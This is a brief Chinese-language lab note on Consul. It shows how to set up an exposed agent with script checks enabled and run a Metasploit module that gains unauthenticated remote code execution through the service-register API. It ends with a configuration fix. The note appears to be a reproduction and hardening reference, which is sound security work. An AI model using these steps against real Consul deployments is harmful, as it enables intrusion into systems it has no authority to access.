下载:
https://www.consul.io/downloads.html
官方文档:
https://learn.hashicorp.com/consul/getting-started/services
利用:
https://www.rapid7.com/db/modules/exploit/multi/misc/consul_service_exec
https://www.exploit-db.com/exploits/46074
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/misc/consul_service_exec.md
常用操作
下载后解压,启动agent:
$ ./consul agent -dev
查看成员:
$ consul members
查看节点:
$ curl localhost:8500/v1/catalog/nodes
停止这个节点:
$ consul leave
默认的话是无法从外部直接访问的,需要额外配置。
利用
启动一个可以被利用的服务:
./consul agent -dev -client 0.0.0.0 -enable-script-checks
利用(metasploit):
use exploit/multi/misc/consul_service_exec
set RHOSTS 192.168.23.130
run
抓包可知,在未鉴权的情况下,通过向/v1/agent/service/register接口发送精心构造的put请求可执行任意代码。

因此,启动参数中若带 -enable-script-checks
,未鉴权的Consul服务可造成远程代码执行。可以用 -enable-local-script-checks
替换。